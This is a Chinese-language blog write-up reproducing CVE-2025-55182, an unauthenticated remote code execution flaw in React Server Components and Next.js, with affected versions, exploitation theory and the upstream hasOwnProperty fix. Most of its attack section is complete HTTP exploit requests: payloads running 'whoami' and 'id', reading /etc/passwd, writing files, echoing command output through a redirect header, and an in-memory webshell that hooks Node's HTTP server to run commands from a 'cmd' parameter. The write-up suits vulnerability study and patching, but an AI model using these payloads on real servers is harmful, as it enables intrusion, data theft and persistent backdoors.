React Server Components-核弹级RCE复现

前言

也是赶上趟了,这两天React2shell这个评分为10分的核弹级漏洞直接刷屏我的整个公众号。。。

但其实还是需要一些条件的,比如你要是纯前端写的或者没用RSC、或者前后端分离的项目,那就根本不会被这样打,那些说堪比21年底log4j的还是没这么夸张。贴一下漏洞作者的话:https://react2shell.com

遂看看分析记录一下,而且后续dify也受到这个洞的后续影响成为了超级重灾区,所以就直接大爆特爆了。

漏洞影响版本

漏洞名称 React/Next.js 组件无条件 RCE 漏洞
漏洞编号 CVE-2025-55182 CVE-2025-66478(已被撤回)
公开时间 2025-12-03 POC状态 已公开
漏洞类型 远程代码执行 EXP状态 已公开
利用可能性 技术细节状态 已公开
CVSS 3.1 10.0 在野利用状态 未发现
影响版本 React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack.

框架 (Next.js)

版本分支 受影响范围
v15.0.x v15.0.0 - v15.0.4
v15.1.x v15.1.0 - v15.1.8
v15.2-15.5 v15.2.x - v15.5.6
v16.0.x v16.0.0 - v16.0.6
Canary v14.3.0-canary.77 及以上

漏洞成因是React 在 Server Function 端点对传入载荷进行反序列化的逻辑存在缺陷。未经身份验证的攻击者可构造特制的恶意载荷,使 React 在反序列化过程中触发任意代码执行,从而在服务器上实现 RCE。

漏洞利用原理

其实还是有一定局限性的,就如我前言提到的,你要是纯前端开发、没用RSC或者前后端分离这种就不会被打。

主要依赖路径

  1. 直接远程代码执行(Direct RCE)

攻击者通过污染原型链或对象属性,使目标代码在 Node.js 环境中直接调用高危内置模块(如 vm、child_process 等),实现一行代码执行。 典型利用方式:

使用 vm.runInThisContext()、vm.runInNewContext() 或 new Function() 直接执行恶意 JavaScript 字符串
使用 child_process.exec()、child_process.execSync() 等直接执行系统命令

  1. 间接远程代码执行(Indirect RCE)

当直接危险模块被移除或不可达时,攻击者转而利用 fs 模块或其他持久化手段,先写入恶意文件,再触发加载执行。 典型利用方式:

通过 fs.writeFileSync / fs.appendFile 等将恶意代码写入 .js、.mjs、.json(带 “type”: “module” 时可执行代码)或启动脚本
再通过 require()、import()、module#_load 钩子、或触发自动加载机制(如包的 preinstall 脚本)执行已写入的恶意文件

  1. 原型链污染导致的原始能力恢复(Prototype Pollution → Primitives Recovery)

这是最常见的入口点。即使目标 bundle 中没有直接暴露危险模块,攻击者仍可通过污染 proto、constructor.prototype 或 object.prototype 等属性,逐步恢复关键原语,最终拿到 Function 构造函数或 child_process 对象。

(网上跟这个洞的源码分析很多,这里就懒得写了hhh)

漏洞复现

ejpir/CVE-2025-55182-research: CVE-2025-55182 POC

1
2
3
4
5
6
git clone https://github.com/ejpir/CVE-2025-55182-poc.git
cd CVE-2025-55182-poc

npm install

node --conditions react-server --conditions webpack src/server.js

RCE测试

poc取自上述公开poc。

RCE 攻击报文 (基于 vm#runInThisContext)

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /formaction HTTP/1.1
Host: 192.168.75.129:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: [自动计算的长度]

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary-----

image-20251205202745683

直接命令执行报文 (基于 child_process#execSync)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /formaction HTTP/1.1
Host: 192.168.75.129:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: [自动计算的长度]

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"


------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"child_process#execSync","bound":["whoami"]}
------Boundary--

image-20251205204654022

文件读取报文 (基于 fs#readFileSync)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /formaction HTTP/1.1
Host: 192.168.75.129:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: [自动计算的长度]

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"


------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}
------Boundary--

image-20251205204813195

文件写入报文 (基于 fs#writeFileSync)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /formaction HTTP/1.1
Host: 192.168.75.129:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: [自动计算的长度]

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"


------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"fs#writeFileSync","bound":["/tmp/pwned.txt","CVE-2025-55182 was here"]}
------Boundary--

image-20251205204918339

image-20251205205001268

网传payload

1)RCE版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /apps HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('payload');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

这个好像也能回显。

2)回显版

本质为:

1
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /apps HTTP/2
Host: ip:port
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Next-Action: x
X-Nextjs-Request-Id: ungqoyah
X-Nextjs-Html-Request-Id: zTBfMjKDeKps9lK2x4Vby
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 705

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res = Buffer.from(process.mainModule.require('child_process').execSync('id')).toString('base64');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

只不过这里会在Response的X-Action-Redirect处显示base64编码后的结果。

3)内存马版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /apps HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept-Encoding: gzip, deflate
Connection: close
Next-Action: x
X-Nextjs-Request-Id: ungqoyah
X-Nextjs-Html-Request-Id: zTBfMjKDeKps9lK2x4Vby
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 1120

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/deep'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

parsedUrl.pathname==='/deep'修改路径即可。RCE参数为GET传参cmd。

官方修复

修复是直接在此处加了个hasOwnProperty检查所有权,避免了外部的引用:

1
2
3
4
5
6
7
8
9
10
@@ -78,7 +80,10 @@ export function preloadModule<T>(

export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}

参考链接:

【严重!已复现】React Server Components (CVE-2025-55182)远程代码执行漏洞安全风险通告

漏洞预警 | React/Next.js组件RCE漏洞(CVE-2025-55182)详情分析-【附验证环境】

【已复现】React/Next.js 组件无条件 RCE 漏洞(CVE-2025-55182)

Next.js RCE(CVE-2025-55182)漏洞复现

【已复现】Next.js 无条件RCE,回显Payload+内存马Payload

CVE-2025-55182的复现与修复-CSDN博客

最新RCE漏洞CVE-2025-55182的复现与修复-CSDN博客

ejpir/CVE-2025-55182-research: CVE-2025-55182 POC

msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182

反转!dify将昨天的next.js跳蛋漏洞变为大漏洞!dify利用率较高! - FreeBuf网络安全行业门户

CVE-2025-66478 Next.js 远程代码执行漏洞-CSDN博客

React2Shell (CVE-2025-55182)


React Server Components-核弹级RCE复现
https://eddiemurphy89.github.io/2025/12/05/React-Server-Components-核弹级RCE复现-CVE-2025-55182/
作者
EddieMurphy
发布于
2025年12月5日
许可协议